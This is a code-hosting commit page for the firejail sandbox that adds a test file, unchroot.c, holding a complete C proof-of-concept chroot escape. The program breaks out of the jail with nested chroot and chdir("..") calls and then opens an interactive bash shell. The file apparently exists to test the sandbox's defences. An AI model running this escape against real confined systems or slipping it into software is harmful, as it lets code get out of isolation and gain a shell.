aboutsummaryrefslogtreecommitdiffstats
path: root/test/chroot/unchroot.c
diff options
context:
space:
mode:
authorLibravatar netblue30 <netblue30@yahoo.com>2016-11-20 16:05:45 -0500
committerLibravatar netblue30 <netblue30@yahoo.com>2016-11-20 16:05:45 -0500
commit80cc5fa809ebb3f213852312dea15cded00cc069 (patch)
tree2f233a23c075a0dd2e89b32b37b09fce06b13058 /test/chroot/unchroot.c
parentseccomp work 2 (diff)
downloadfirejail-80cc5fa809ebb3f213852312dea15cded00cc069.tar.gz
firejail-80cc5fa809ebb3f213852312dea15cded00cc069.tar.zst
firejail-80cc5fa809ebb3f213852312dea15cded00cc069.zip
chroot testing
Diffstat (limited to 'test/chroot/unchroot.c')
-rw-r--r--test/chroot/unchroot.c40
1 files changed, 40 insertions, 0 deletions
diff --git a/test/chroot/unchroot.c b/test/chroot/unchroot.c
new file mode 100644
index 000000000..1982e07f3
--- /dev/null
+++ b/test/chroot/unchroot.c
@@ -0,0 +1,40 @@
1// simple unchroot example from http://linux-vserver.org/Secure_chroot_Barrier
2#include <unistd.h>
3#include <stdlib.h>
4#include <stdio.h>
5#include <sys/types.h>
6#include <sys/stat.h>
7
8void die(char *msg) {
9 perror(msg);
10 exit(1);
11}
12
13int main(int argc, char *argv[])
14{
15 int i;
16
17 if (chdir("/") != 0)
18 die("chdir(/)");
19
20 if (mkdir("baz", 0777) != 0)
21 ; //die("mkdir(baz)");
22
23 if (chroot("baz") != 0)
24 die("chroot(baz)");
25
26 for (i=0; i<50; i++) {
27 if (chdir("..") != 0)
28 die("chdir(..)");
29 }
30
31 if (chroot(".") != 0)
32 die("chroot(.)");
33
34 printf("Exploit seems to work. =)\n");
35
36 execl("/bin/bash", "bash", "-i", (char *)0);
37 die("exec bash");
38
39 exit(0);
40}